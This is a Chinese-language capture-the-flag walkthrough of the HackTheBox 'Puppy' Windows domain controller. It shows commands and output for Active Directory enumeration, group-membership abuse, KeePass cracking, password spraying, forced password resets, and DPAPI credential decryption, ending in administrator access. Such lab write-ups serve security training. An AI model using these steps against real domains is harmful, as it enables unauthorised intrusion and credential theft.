HTB Puppy渗透测试实战:从初始凭证到域控提权

本文详细记录了HTB Puppy靶机的完整渗透测试过程,从初始凭证获取开始,通过Bloodhound分析域关系,利用GenericWrite权限访问SMB共享,破解KeePassXC数据库,进行密码喷洒攻击,最终通过DPAPI解密获取管理员权限。

HTB: Puppy

箱体信息

名称 Puppy
发布日期 2025年5月17日
退役日期 2025年9月27日
操作系统 Windows
基础分数 中等 [30]

场景描述:模拟真实渗透测试环境,从以下账户凭证开始:levi.james / KingofAkron2025!

侦察

初始扫描

Nmap扫描显示开放了多个TCP端口,包括典型的Windows域控制器服务:

1
2
3
4
5
6
7
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.70
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
...其他端口...

域名为puppy.htb,主机名为DC。

初始凭证

使用提供的凭证验证访问:

1
2
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!'
SMB         10.10.11.70     445    DC               [+] PUPPY.HTB\levi.james:KingofAkron2025!

SMB - TCP 445

发现DEV共享目录:

1
2
oxdf@hacky$ netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --shares
SMB         10.10.11.70     445    DC               DEV             READ            DEV-SHARE for PUPPY-DEVS

Bloodhound

使用BloodHound.py收集域信息:

1
oxdf@hacky$ bloodhound-ce-python -c all -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 --zip

分析显示levi.james通过HR组对Developers组拥有GenericWrite权限。

认证为Ant.Edwards

访问DEV共享

将levi.james添加到Developers组:

1
oxdf@hacky$ net rpc group addmem developers levi.james -U puppy.htb/levi.james%'KingofAkron2025!' -S puppy.htb

现在可以访问DEV共享并下载KeePassXC数据库:

1
smb: \> get recovery.kdbx

访问KeePassXC数据库

生成哈希

1
oxdf@hacky$ john-the-ripper.keepass2john recovery.kdbx | tee recovery.kdbx.hash

破解密码

1
2
oxdf@hacky$ john-the-ripper recovery.kdbx.hash --wordlist=rockyou.txt
liverpool        (recovery)

导出密码

1
2
oxdf@hacky$ keepassxc.cli export --format csv recovery.kdbx
"Root","ANTONY C. EDWARDS","","Antman2025!","puppy.htb"

密码喷洒

使用获取的密码进行喷洒攻击:

1
2
oxdf@hacky$ netexec smb puppy.htb -u users.txt -p passwords.txt --continue-on-success
SMB                      10.10.11.70     445    DC               [+] PUPPY.HTB\ant.edwards:Antman2025!

Shell作为Adam.Silver

枚举

Bloodhound显示Ant.Edwards是Senior Devs组成员,对Adam.Silver拥有GenericAll权限。

密码更改

重置密码

1
oxdf@hacky$ net rpc password adam.silver '0xdf0xdf.' -U puppy.htb/ant.edwards%'Antman2025!' -S puppy.htb

启用账户

账户被禁用,使用BloodyAD启用:

1
oxdf@hacky$ bloodyAD -u ant.edwards -p 'Antman2025!' --host dc.puppy.htb -d puppy.htb remove uac adam.silver -f ACCOUNTDISABLE

WinRM

获取WinRM会话:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u adam.silver -p 0xdf0xdf..

Shell作为Steph.Cooper

枚举

在C:\Backups目录发现网站备份文件:

1
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip

站点备份

分析备份文件发现认证配置文件:

1
<bind-password>ChefSteph2025!</bind-password>

WinRM

使用发现的密码获取Steph.Cooper的shell:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'

Shell作为steph.cooper_adm

枚举

发现Windows凭据管理器中的存储凭据:

1
2
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\Roaming\Microsoft\Credentials> ls -force
C8D69EBE9A43E9DEBF6B5FBD48B521B9

DPAPI

解密主密钥

1
oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'

解密凭据

1
2
3
oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b...
Username    : steph.cooper_adm
Unknown     : FivethChipOnItsWay2025!

WinRM

使用解密的管理员凭据获取最终权限:

1
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'

验证管理员权限并获取root flag:

1
2
*Evil-WinRM* PS C:\Users\administrator\desktop> cat root.txt
c3bee243************************
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计